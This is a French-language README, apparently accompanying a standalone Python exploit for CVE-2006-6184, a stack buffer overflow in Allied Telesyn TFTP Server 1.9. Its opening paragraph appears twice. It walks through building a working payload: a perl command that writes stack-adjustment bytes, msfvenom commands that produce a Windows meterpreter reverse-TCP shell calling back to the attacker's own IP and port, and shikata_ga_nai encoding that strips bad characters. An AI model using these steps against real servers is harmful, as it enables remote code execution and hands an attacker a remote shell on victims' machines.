
Ceci est un exploit autonome basé sur Python pour CVE-2006-6184. Cet exploit déclenche un débordement de tampon basé sur la pile dans Allied Telesyn TFTP Server (AT-TFTP) 1.9, et éventuellement antérieur, permettant à des attaquants distants de provoquer un déni de service ou d'exécuter du code arbitraire.
Ceci est un exploit autonome basé sur Python pour CVE-2006-6184. Cet exploit déclenche un débordement de tampon basé sur la pile dans Allied Telesyn TFTP Server (AT-TFTP) 1.9, et peut-être antérieur, permettant à des attaquants distants de provoquer un déni de service ou d'exécuter du code arbitraire.
La charge utile doit être personnalisée pour inclure votre propre adresse IP et port d'écoute, vous devrez donc la générer manuellement. Pour ce faire, utilisez les étapes suivantes :
1.) Entrez la commande suivante pour créer un fichier hexadécimal de la quantité à soustraire du pointeur de pile (3500) :
perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj
2.) Ensuite, utilisez la commande suivante pour créer une charge utile de shell meterpreter en plusieurs étapes :
msfvenom -p windows/meterpreter/reverse_nonx_tcp LHOST=[your IP] LPORT=[your port] R > payload
3.) Ensuite, combinez les deux fichiers que vous venez de créer.
cat stackadj payload > shellcode
4.) Enfin, éliminons les mauvais caractères.
msfvenom -p generic/custom PAYLOADFILE=./shellcode -b "\x00" -e x86/shikata_ga_nai -f python
Saisissez la sortie comme valeur de la variable "payload". Vous devrez peut-être exécuter cet exploit plusieurs fois pour qu'il fonctionne.